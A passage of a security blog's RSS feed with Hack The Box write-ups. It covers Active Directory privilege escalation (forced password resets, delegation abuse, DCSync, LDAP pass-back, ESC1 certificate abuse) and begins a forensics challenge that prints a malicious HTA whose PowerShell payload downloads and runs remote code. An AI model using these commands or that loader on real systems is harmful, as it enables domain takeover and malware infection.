<pre><code class="lang-apache"><span class="hljs-attribute">bloodhound</span>-python -u Marie.Curie -p 'REDACTED' -d redelegate.vl -ns <span class="hljs-number">10.129.234.50</span> -c <span class="hljs-literal">ALL</span> --zip
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767166548352/9eb30414-6d25-4b1a-9394-fb3c3c4ae4af.png" alt class="image--center mx-auto" /></p>
<p>Now on seeing High Value Target from Owned Principles we see</p>
<pre><code class="lang-plaintext">Marie.Curie -&gt; Member of HelpDesk@Redelegate.vl -&gt; force change password -&gt; Helen.Frost@Redelegate.vl
</code></pre>
<p><strong>So that means we can change the password of Helen.Frost user and then can get a shell/foothold as Helen.Frost</strong></p>
<pre><code class="lang-apache"><span class="hljs-attribute">bloodyAD</span> -d redelegate.vl -u Marie.Curie -p 'REDACTED' --host dc.redelegate.vl set password Helen.Frost 'Password<span class="hljs-number">123</span>!'
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767166863892/82393c12-cbcc-44a3-9062-b1558db8507e.png" alt class="image--center mx-auto" /></p>
<p>Password is changed successfully now let’s see if we can get the shell or not</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767166991065/b04c4f6d-684e-408a-86ef-064c50e3dc22.png" alt class="image--center mx-auto" /></p>
<p>Yep we can, So let’s use evil-winrm to get the shell and grab the user flag</p>
<hr />
<h2 id="heading-user-flag">USER FLAG</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767167138872/993af5bb-935a-4ef1-a634-ce8a79869bc4.png" alt /></p>
<hr />
<h2 id="heading-privilege-escalation">PRIVILEGE ESCALATION</h2>
<p>Let’s see what privileges do we got by <strong>whoami /priv</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767168248009/75ce29b5-829d-40a9-90fb-dd965fe29d65.png" alt class="image--center mx-auto" /></p>
<p><strong>SeMachineAccountPrivilege and SeEnabledDelegationPrivilege is Enabled</strong><br />But we can’t either add machine account or dnsrecord as:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767168894114/48ee05a9-6833-434f-a70e-632c64911513.png" alt class="image--center mx-auto" /></p>
<p><strong>MachineAccountQuota</strong> is 0 and <strong>INSUFF_ACCESS_RIGHTS</strong> for adding DNS Record into a domain<br /><strong>(Usually this would be done through Marie.Curie Creds in order to Obtain NTLM HASH through responder but i am just showing that it is not allowed to add DNS Record in the domain irrespective of any user)</strong></p>
<p>So let’s find another method to escalate privileges<br />Now In Bloodhound we saw that user Helen.Frost has Group Delegated Object Control</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767169176104/dbeb29e3-6e70-4dca-b19d-30aefda1bd3a.png" alt class="image--center mx-auto" /></p>
<p>So, Helen.Frost user account is a member of the IT group, which has the GenericAll ACL on the FS01$ machine account.<br />We know we cannot add a DNS record and machine account from our previous enumeration. So we cannot configure unconstrained delegation because we need to force the machine to craft a Kerberos ticket, which isn't possible with an IP Address only; it requires SPN and DNS A record.  </p>
<p><strong>However, we can configure the FS01$ machine account to perform a full S4U2self + S4U2proxy (Constrained Delegation) attack on the DC$ machine account and use that service ticket to perform a DCSync attack</strong>  </p>
<p>Since we have GenericAll on FC01$ machine account we can force change its password using TGT of Helen.Frost</p>
<pre><code class="lang-apache"><span class="hljs-attribute">getTGT</span>.py redelegate.vl/helen.frost:'Password<span class="hljs-number">123</span>!'

<span class="hljs-attribute">export</span> KRB<span class="hljs-number">5</span>CCNAME=helen.frost.ccache
</code></pre>
<pre><code class="lang-apache"><span class="hljs-attribute">bloodyAD</span> -k --host 'dc.redelegate.vl' set password 'FS<span class="hljs-number">01</span>$' 'Newpassword<span class="hljs-number">123</span>!'
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767169942175/79fdaf47-399f-48ad-a8c6-9fadcdeb0565.png" alt class="image--center mx-auto" /></p>
<p>Now let’s configure FS01$ for TRUSTED_TO_AUTH_FOR_DELEGATION and AllowedToDelegateTo properties.<br />Let’s begin configuring</p>
<pre><code class="lang-apache"><span class="hljs-attribute">bloodyAD</span> -d redelegate.vl -k --host <span class="hljs-string">"dc.redelegate.vl"</span> add uac FS<span class="hljs-number">01</span>$ -f TRUSTED_TO_AUTH_FOR_DELEGATION

<span class="hljs-attribute">bloodyAD</span> -d redelegate.vl -k --host <span class="hljs-string">"dc.redelegate.vl"</span> set object FS<span class="hljs-number">01</span>$ msDS-AllowedToDelegateTo -v cifs/dc.redelegate.vl
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767170925431/8d6c76c6-bec9-448b-88bc-64b957a6b9f5.png" alt class="image--center mx-auto" /></p>
<p><strong>Now take FS01$ TGT similarly like Helen.Frost</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767171322840/6f7ae6b1-bcbc-4a1e-a374-e624734889f1.png" alt class="image--center mx-auto" /></p>
<p>Now get Service Ticket and impersonate dc</p>
<pre><code class="lang-apache"><span class="hljs-attribute">getST</span>.py -k -no-pass -spn cifs/dc.redelegate.vl -impersonate dc redelegate.vl/FS<span class="hljs-number">01</span>$

<span class="hljs-attribute">export</span> KRB<span class="hljs-number">5</span>CCNAME=dc@cifs_dc.redelegate.vl@REDELEGATE.VL.ccache
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767171768834/2164db99-8c9c-4d92-8b81-afe61914f634.png" alt class="image--center mx-auto" /></p>
<p>Now let’s perform DC-Sync attack and grab Administrator Hash</p>
<pre><code class="lang-apache"><span class="hljs-attribute">secretsdump</span>.py -k -no-pass dc.redelegate.vl -just-dc-user Administrator
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767172080779/261a7579-a3fe-4960-bd40-f8d56da5dd56.png" alt class="image--center mx-auto" /></p>
<p>We got the hash now use it to get a shell and grab the root flag</p>
<hr />
<h2 id="heading-root-flag">ROOT FLAG</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767172205260/7adbb9a7-47b8-4321-81ed-2f07c98035c0.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-we-finally-did-it-challenge-solved"><strong>WE FINALLY DID IT !!!! CHALLENGE SOLVED !!</strong></h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767172314985/8b37c394-0dfb-4355-9831-d870595bbdc1.png" alt class="image--center mx-auto" /></p>
<p>For Any Query Or Problem Either Leave A Comment Or Contact At <a target="_blank" href="http://reapsec.com/"><strong>reapsec.com</strong></a></p>
<p><strong>THANKS FOR READING !!!</strong></p>
]]></content:encoded></item><item><title><![CDATA[Authority]]></title><description><![CDATA[OVERVIEW


So we are given an IP address let’s scan it using Nmap

ENUMERATION

So we got so many open ports Let’s check them and don’t forget to add the Domain name in /etc/hosts file
I checked Port 80 and it is an IIS Windows Server and doesn’t hav...]]></description><link>https://blog.reapsec.com/authority-htb</link><guid isPermaLink="true">https://blog.reapsec.com/authority-htb</guid><category><![CDATA[authority htb]]></category><category><![CDATA[HTB Machines]]></category><category><![CDATA[HTB Writeup]]></category><category><![CDATA[#walkthrough]]></category><category><![CDATA[reapsec]]></category><category><![CDATA[medium]]></category><category><![CDATA[authority]]></category><category><![CDATA[#HackTheBox]]></category><dc:creator><![CDATA[MOHIT SINGH PAPOLA]]></dc:creator><pubDate>Sun, 28 Dec 2025 17:46:04 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1766934578703/73c53203-84c4-4bdb-8834-b6dec842588c.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-overview">OVERVIEW</h2>
<hr />
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766934647833/b48dde64-92ac-4df0-a99f-45e4cef6b4f0.png" alt class="image--center mx-auto" /></p>
<p>So we are given an IP address let’s scan it using Nmap</p>
<hr />
<h2 id="heading-enumeration">ENUMERATION</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766934998845/d30b324c-4a8c-4959-8b5a-490a1d105f6d.png" alt class="image--center mx-auto" /></p>
<p>So we got so many open ports Let’s check them and don’t forget to add the Domain name in /etc/hosts file</p>
<p>I checked Port 80 and it is an IIS Windows Server and doesn’t have any hidden directories So now let’s check SMB Ports for Guest Login</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766935578377/a4a33e50-a840-434f-bf86-f0cccbc72631.png" alt class="image--center mx-auto" /></p>
<p>Yes we can guest login and can see SMB shares so now let’s dump Development share on our machine for a good enumeration with smbclient</p>
<pre><code class="lang-apache"><span class="hljs-attribute">smbclient</span> //authority.htb/Development -U guest%'' -c <span class="hljs-string">"prompt OFF;recurse ON;mget *"</span>
</code></pre>
<p>Now After getting all the files let’s check them</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766935940656/15e74bfc-dbae-42f3-a9d7-62e5f0c0e16f.png" alt /></p>
<p>We see four directories inside Ansible directory so it seems Ansible is the thing which we have to work upon first but we also see four other directories which hints us that these services might be used in this machine so after checking each directory and its files I found some useful things:</p>
<pre><code class="lang-apache"><span class="hljs-comment"># A passphrase for the CA key.</span>
<span class="hljs-attribute">ca_passphrase</span>: SuP<span class="hljs-number">3</span>rS<span class="hljs-number">3</span>creT
<span class="hljs-attribute">ca_common_name</span>: authority.htb

<span class="hljs-comment"># ansible.cfg and ansible_inventory</span>
<span class="hljs-attribute">remote_user</span> = svc_pwm
<span class="hljs-attribute">ansible_user</span>: administrator                                                     
<span class="hljs-attribute">ansible_password</span>: Welcome<span class="hljs-number">1</span>

<span class="hljs-comment"># tomcat-users.xml.j2</span>
<span class="hljs-section">&lt;user username=<span class="hljs-string">"admin"</span> password=<span class="hljs-string">"T0mc@tAdm1n"</span> roles=<span class="hljs-string">"manager-gui"</span>/&gt;</span>             
<span class="hljs-section">&lt;user username=<span class="hljs-string">"robot"</span> password=<span class="hljs-string">"T0mc@tR00t"</span> roles=<span class="hljs-string">"manager-script"</span>/&gt;</span>
</code></pre>
<p>None of them worked anywhere to get us some lead but it strongly indicates towards <strong>PWM configuration</strong> and it also gave us Tomcat admin password so it means that there must be another web page rather then that IIS Web Server at PORT 80 so i looked at my NMAP scan once again and i saw this</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766936728923/ba1e2f53-13cc-4080-b9c0-c9d3756d6b10.png" alt /></p>
<p>So navigating to <strong>PORT 8443 with https</strong> I saw this</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766936918863/221651a5-8eac-4e88-9f64-0c669d46922a.png" alt class="image--center mx-auto" /></p>
<p>Here it is PWM configuration login Now We have to find its password to change its Configuration So I started searching PWM directory inside Ansible Directory so in <strong>PWM/default/main.yml</strong> i found ansible vault encrypted keys and after arranging them i got this output:</p>
<pre><code class="lang-apache"><span class="hljs-comment">#PWM ADMIN LOGIN</span>
$<span class="hljs-attribute">ANSIBLE_VAULT</span>;<span class="hljs-number">1</span>.<span class="hljs-number">1</span>;AES<span class="hljs-number">256</span>
<span class="hljs-attribute">32666534386435366537653136663731633138616264323230383566333966346662313161326239</span>
<span class="hljs-attribute">6134353663663462373265633832356663356239383039640a346431373431666433343434366139</span>
<span class="hljs-attribute">35653634376333666234613466396534343030656165396464323564373334616262613439343033</span>
<span class="hljs-attribute">6334326263326364380a653034313733326639323433626130343834663538326439636232306531</span>
<span class="hljs-attribute">3438</span>

<span class="hljs-comment">#PWM ADMIN PASSWORD</span>
$<span class="hljs-attribute">ANSIBLE_VAULT</span>;<span class="hljs-number">1</span>.<span class="hljs-number">1</span>;AES<span class="hljs-number">256</span>
<span class="hljs-attribute">31356338343963323063373435363261323563393235633365356134616261666433393263373736</span>
<span class="hljs-attribute">3335616263326464633832376261306131303337653964350a363663623132353136346631396662</span>
<span class="hljs-attribute">38656432323830393339336231373637303535613636646561653637386634613862316638353530</span>
<span class="hljs-attribute">3930356637306461350a316466663037303037653761323565343338653934646533663365363035</span>
<span class="hljs-attribute">6531</span>

<span class="hljs-comment">#LDAP ADMIN PASSWORD</span>
$<span class="hljs-attribute">ANSIBLE_VAULT</span>;<span class="hljs-number">1</span>.<span class="hljs-number">1</span>;AES<span class="hljs-number">256</span>
<span class="hljs-attribute">63303831303534303266356462373731393561313363313038376166336536666232626461653630</span>
<span class="hljs-attribute">3437333035366235613437373733316635313530326639330a643034623530623439616136363563</span>
<span class="hljs-attribute">34646237336164356438383034623462323531316333623135383134656263663266653938333334</span>
<span class="hljs-attribute">3238343230333633350a646664396565633037333431626163306531336336326665316430613566</span>
<span class="hljs-attribute">3764</span>
</code></pre>
<p>Now I remembered that <strong>John The Ripper</strong> has a function (<strong>ansible2john</strong>) from which we can crack these keys password which will be needed to decrypt these keys into plaintext  </p>
<hr />
<h2 id="heading-exploitation">EXPLOITATION</h2>
<p>So i saved each hash into different txt files so i have three different files, Now one by one</p>
<pre><code class="lang-apache"><span class="hljs-attribute">ansible2john</span> ansible_hash_file_name &gt; new_file_name

<span class="hljs-attribute">john</span> --wordlist=rockyou.txt new_file_name
</code></pre>
<p>And after some time you will get the password that is required to crack the above ansible vault encoded keys and the password is same for all three keys above</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766938147947/eb016b62-9c00-42ac-890a-706a70b47e0e.png" alt /></p>
<p>Now we will save this password in a file named as <strong>pwd.txt</strong> and use <strong>ansible-vault</strong> tool which you can download using pip3 if you don’t have</p>
<pre><code class="lang-apache"><span class="hljs-attribute">pip3</span> ansible-vault --break-system-packages
</code></pre>
<p>Now go to the directory where you have your ansible vault encoded keys stored earlier not converted one the original one then do this</p>
<pre><code class="lang-apache"><span class="hljs-attribute">ansible</span>-vault decrypt -v your-ansible-file --vault-password-file=pwd.txt
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766938774541/5c93b631-f857-4688-8ede-ac5b6f33c055.png" alt /></p>
<p>After decryption you will get your <strong>PWM Admin Password</strong> on the same file in which your key was stored</p>
<p><strong>Now Login to PWM configuration Editor inside the website and go to LDAP Profile Enabled Option through Search Bar</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766939131446/581ea4e3-d5b2-43a4-9ae2-467384d95bd7.png" alt class="image--center mx-auto" /></p>
<p>Now there is a vulnerability known as <strong>LDAP Pass-Back Attack</strong> which is used to change the <strong>LDAP URL</strong> to <strong>attacker IP and LDAP PORT</strong> and On listening on the same port LDAP Back Passes the User Password which in this case is <strong>svc_ldap</strong> as you can see above in <strong>LDAP</strong> <strong>Proxy User</strong><br /><a target="_blank" href="https://medium.com/r3d-buck3t/pwning-printers-with-ldap-pass-back-attack-a0d8fa495210"><strong>To Know More About This Vulnerability Read this ….</strong></a></p>
<p>So Let’s change the <strong>LDAP URL’s default URL</strong> to</p>
<pre><code class="lang-apache"><span class="hljs-comment">#on website</span>
<span class="hljs-attribute">ldap</span>://YOUR-MACHINE-IP:<span class="hljs-number">636</span>

<span class="hljs-comment">#on your machine</span>
<span class="hljs-attribute">nc</span> -lvnp <span class="hljs-number">636</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766939613528/a8f6ca60-e3d9-42d5-8bbc-b016eecb88b8.png" alt /></p>
<p>Now Click On Test LDAP Profile and head to your listener and wait !!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766939727108/210b98f2-068e-4285-8ecd-fb4573a40d0f.png" alt /></p>
<p>And you will successfully get the password for <strong>svc_ldap</strong> user . Now Let’s check if it is valid or not for a shell</p>
<hr />
<h2 id="heading-user-flag">USER FLAG</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766939999075/854c0343-c9fe-4768-a346-aaff5bc24926.png" alt class="image--center mx-auto" /></p>
<p>So as you see it is valid and we got our user flag</p>
<hr />
<h2 id="heading-privelege-escalation">PRIVELEGE ESCALATION</h2>
<p>Now I remembered seeing <strong>ADCS directory</strong> inside Ansible directory so let’s quickly check for any ADCS vulnerability using Certipy (ensure you are using latest one)</p>
<pre><code class="lang-apache"><span class="hljs-attribute">certipy</span> find -u svc_ldap@authority.htb -p 'REDACTED' -dc-ip <span class="hljs-number">10.129.47.203</span> -vulnerable -stdout
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766940576044/46bf7e6f-640a-46c5-875b-20573f2033da.png" alt class="image--center mx-auto" /></p>
<p>And we found it there is <strong>ESC1</strong> vulnerability</p>
<details><summary>Understanding the vulnerability</summary><div data-type="detailsContent">ESC1 is based on a misconfiguration that allows the certificate requester to define the Subject Name field in their request (CSR) themselves. This means that a user can specify, at the time of the request, the name of the account for which they wish to obtain an authentication certificate. This behavior allows them to impersonate another user, or even a domain administrator.</div></details>

<p>But as you can see User Enrollable Principals : Domain Computers which means Any domain-joined computer account can request a certificate using this template.<br /><strong>Since we own User account not Computer account we can add computer account if we has the rights</strong></p>
<p>So let’s check in our <strong>svc_ldap shell</strong></p>
<pre><code class="lang-apache">([<span class="hljs-attribute">ADSI</span>]<span class="hljs-string">"LDAP://DC=authority,DC=htb"</span>).<span class="hljs-string">"ms-DS-MachineAccountQuota"</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766941085812/fde9c6c8-33cb-4618-b3f9-243de8abad14.png" alt class="image--center mx-auto" /></p>
<p>Since it is greater then 0 then it means we have the rights to add computer account so let’s use <strong>impacket-addcomputer.py</strong> module</p>
<pre><code class="lang-apache"><span class="hljs-attribute">addcomputer</span>.py -computer-name MEOWPC$ -computer-pass '<span class="hljs-number">0</span>xme<span class="hljs-number">0</span>w' authority.htb/svc_ldap:'REDACTED'
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766941276849/a4f43216-6a16-41b8-8421-95d76ec8eb04.png" alt class="image--center mx-auto" /></p>
<p>We successfully added the computer account now let’s try requesting administrator certificate using Certipy</p>
<pre><code class="lang-apache"><span class="hljs-attribute">certipy</span> req -u 'MEOWPC$' -p '<span class="hljs-number">0</span>xme<span class="hljs-number">0</span>w' -dc-ip <span class="hljs-number">10.129.47.203</span> -target 'authority.htb' -ca 'AUTHORITY-CA' -template 'CorpVPN' -upn 'administrator@authority.htb'
</code></pre>
<p><strong>the ca and template name can be seen earlier when we find the vulnerability earlier</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766941531528/d532b316-4ba8-432f-aa28-ac1968f3b258.png" alt class="image--center mx-auto" /></p>
<p>We successfully got the <strong>administrator.pfx</strong> now let’s try authenticating using the certificate<br />if you found clock skew error do <strong><mark>sudo ntpdate IP</mark></strong></p>
<p><strong>NOTE: Due to some issues I had to reset my machine so don’t worry on seeing New IP in images below</strong></p>
<pre><code class="lang-apache"><span class="hljs-attribute">certipy</span> auth -pfx administrator.pfx -dc-ip <span class="hljs-number">10.129.47.203</span> -username administrator -domain authority.htb
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766942202759/9ca12ba3-d346-41cf-be4b-9f98eb45dcd6.png" alt class="image--center mx-auto" /></p>
<p>We, however, get an error <strong>KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)</strong> . Some searching points us to this <a target="_blank" href="https://offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.html"><strong>blog post</strong></a>, which explains that this likely means that the target Domain Controller does not support PKINIT . We can, however, use the <a target="_blank" href="https://github.com/AlmondOffSec/PassTheCert"><strong>PassTheCert</strong></a> tool to authenticate against LDAP using Schannel (Secure Channel).</p>
<p>So To Use PassTheCert tool you need to have both <strong>crt</strong> and <strong>key of the administrator</strong><br />To obtain it you can either use <strong>openssl pkcs12</strong> or just directly <strong>use certipy to obtain it which i prefers</strong></p>
<pre><code class="lang-apache"><span class="hljs-attribute">certipy</span> cert -pfx administrator.pfx -nocert -out administrator.key
<span class="hljs-attribute">certipy</span> cert -pfx administrator.pfx -nokey -out administrator.crt
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766942762168/e0c6c2da-c646-4fb5-9581-cb5f9ba5bd97.png" alt /></p>
<p>Now transfer all three files <strong>.pfx, .crt, .key</strong> to th<strong>e PassTheCert/Python</strong> directory and now<br /><strong>There are many ways to get system access and we will talk about the fastest one and rest of the methods figure out yourself :)</strong></p>
<p><strong>Enter into LDAP shell</strong></p>
<pre><code class="lang-apache"><span class="hljs-attribute">python3</span> passthecert.py -action ldap-shell -crt administrator.crt -key administrator.key -domain authority.htb -dc-ip <span class="hljs-number">10.129.47.203</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766943205816/22602817-f38d-450e-b79b-ee2adae10c90.png" alt class="image--center mx-auto" /></p>
<p>So as you can see we entered in the LDAP shell as administrator and added <strong>svc_ldap</strong> to Domain Admins group</p>
<p>Now you can dump the Administrator hash using <strong>secretsdump.py</strong> of Impacket</p>
<pre><code class="lang-apache"><span class="hljs-attribute">secretsdump</span>.py authority.htb/svc_ldap:'REDACTED'@<span class="hljs-number">10.129.47.203</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766943370901/dc4a809d-417f-42b5-bfe6-4cfcd0dc532b.png" alt class="image--center mx-auto" /></p>
<p>Now grab the Administrator Hash and use it to login into Administrator winrm shell and get the root flag</p>
<hr />
<h2 id="heading-root-flag">ROOT FLAG</h2>
<pre><code class="lang-apache"><span class="hljs-attribute">evil</span>-winrm -i <span class="hljs-number">10.129.47.203</span> -u Administrator -H HASH
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766943522984/e01bded5-112f-4f85-a0df-d8e419e18ac0.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-we-finally-did-it-challenge-solved"><strong>WE FINALLY DID IT !!!! CHALLENGE SOLVED !!</strong></h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766943682093/00028a81-a2c9-43f5-9f2c-6c396420ec6d.png" alt class="image--center mx-auto" /></p>
<p>For Any Query Or Problem Either Leave A Comment Or Contact At <a target="_blank" href="http://reapsec.com/"><strong>reapsec.com</strong></a></p>
<p><strong>THANKS FOR READING !!!</strong></p>
]]></content:encoded></item><item><title><![CDATA[Wanted Alive]]></title><description><![CDATA[OVERVIEW


So we are given file to download and an instance to spawn Let’s do it and see what’s inside the zipSo we found a wanted.hta file let’s see its file type and its contents

Its a HTML document with ASCII text which is very long so when i ins...]]></description><link>https://blog.reapsec.com/wanted-alive-htb</link><guid isPermaLink="true">https://blog.reapsec.com/wanted-alive-htb</guid><category><![CDATA[Wanted alive]]></category><category><![CDATA[HTB Writeup]]></category><category><![CDATA[htb challenges]]></category><category><![CDATA[reapsec]]></category><category><![CDATA[forensics]]></category><category><![CDATA[easy]]></category><category><![CDATA[#walkthrough]]></category><dc:creator><![CDATA[MOHIT SINGH PAPOLA]]></dc:creator><pubDate>Sat, 27 Dec 2025 10:32:27 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1766828724078/99fe81e7-257a-4600-94b0-01b9100c7c47.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-overview">OVERVIEW</h2>
<hr />
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766828868346/96f03591-88cf-4d62-823c-5d14ca107ad7.png" alt class="image--center mx-auto" /></p>
<p>So we are given file to download and an instance to spawn Let’s do it and see what’s inside the zip<br />So we found a <strong>wanted.hta file</strong> let’s see its file type and its contents</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766829229625/536fbd37-b1c7-429b-8fde-0602162e94ed.png" alt class="image--center mx-auto" /></p>
<p>Its a HTML document with ASCII text which is very long so when i inspected the file contents it looked like URL encoded so let’s drop the whole file in Cyberchef Tool Online</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766829663195/b7856b17-1be7-43ff-b3bf-e3528c4d395c.png" alt class="image--center mx-auto" /></p>
<p>Use the import file button to import the file and then click on the magic wand beside the Output Heading to decode the content<br />So as you can see we got the decoded content but there are too much whitespace inside it let’s use the <strong>remove whitespace</strong> recipe in cyberchef to remove it</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766829913056/9b7f0339-84b4-4798-80c0-4b95b6b77c73.png" alt class="image--center mx-auto" /></p>
<p>so we get the final script as</p>
<pre><code class="lang-apache"><span class="hljs-section">&lt;script language=<span class="hljs-string">"VbScript"</span>&gt;</span>
    <span class="hljs-attribute">Dim</span> OCpyLSiQittipCvMVdYVbYNgMXDJyXvZlVidpZmjkOIRLVpYuWvvdptBSONolYytwkxIhCnXqimStUHeBdpRBGlAwuMJRJNqkfjiBKOAqjigAGZyghHgJhPzozEPElPmonvxOEqnXAwCwnTBVPziQXITiKqAMMhBzrhygtuGbOfcwXPJLJSTlnsdTKXMGvpGFYvfTmDaqIlzNTqpqzPhhktykgBvytPUtQnnpprPF, PoRkkqjVbkMUvpXeCSCGmsOdJUQlGcAUJUngSiqyuVjPViqbHZeseLYFNCcVukIEhbtljkiiGoWeAZgVghNVJcDhcTBgSDyFQLePsWgOtrScsnNAJtyDlRZAjVhhhHpMuZogCVFdqfUXGCHHWJhGRHGwRIRmwaFPATUzTJaRdFWdyskcEhJsKYUMGjyLSiMARuQhBMMSrUUKbmPBmNYbWukinAYRFHhKaFYvIHlVM
    <span class="hljs-attribute">Set</span> OCpyLSiQittipCvMVdYVbYNgMXDJyXvZlVidpZmjkOIRLVpYuWvvdptBSONolYytwkxIhCnXqimStUHeBdpRBGlAwuMJRJNqkfjiBKOAqjigAGZyghHgJhPzozEPElPmonvxOEqnXAwCwnTBVPziQXITiKqAMMhBzrhygtuGbOfcwXPJLJSTlnsdTKXMGvpGFYvfTmDaqIlzNTqpqzPhhktykgBvytPUtQnnpprPF = createObject(Chr(&amp;H<span class="hljs-number">57</span>) &amp; <span class="hljs-string">"SCRIPT.shELL"</span>)
    <span class="hljs-attribute">PoRkkqjVbkMUvpXeCSCGmsOdJUQlGcAUJUngSiqyuVjPViqbHZeseLYFNCcVukIEhbtljkiiGoWeAZgVghNVJcDhcTBgSDyFQLePsWgOtrScsnNAJtyDlRZAjVhhhHpMuZogCVFdqfUXGCHHWJhGRHGwRIRmwaFPATUzTJaRdFWdyskcEhJsKYUMGjyLSiMARuQhBMMSrUUKbmPBmNYbWukinAYRFHhKaFYvIHlVM</span> = <span class="hljs-string">"PowErShEll -ExBYPaSS -NOP -W 1 -C DEVIcEcrEDEnTIAlDePlOYmENt.EXe; iex($(iEX('[SYsTeM.TeXt.EnCoding]'[chAr]0X3A[CHAr]0X3A'uTf8.geTSTring([SYstem.ConVERT]'[chAR]58[CHAR]58'fRoMBASE64string('[CHar]0X22'JGVhNmM4bXJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFkZC1UeXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTUJlckRlZmluSVRJb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidVJMbU9OLmRsTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFBHLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENmbXIsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYVV2eVZCUkQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZmWWxEb2wsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb0ZYckloKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiU3V4dFBJQkp4bCIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRXNQQWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbklZcCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZWE2YzhtclQ6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly93YW50ZWQuYWxpdmUuaHRiLzM1L3dhbnRlZC50SUYiLCIkZU52OkFQUERBVEFcd2FudGVkLnZicyIsMCwwKTtTVEFSdC1zbGVlUCgzKTtzdEFSdCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZW5WOkFQUERBVEFcd2FudGVkLnZicyI='[cHar]0X22'))')))"</span>;
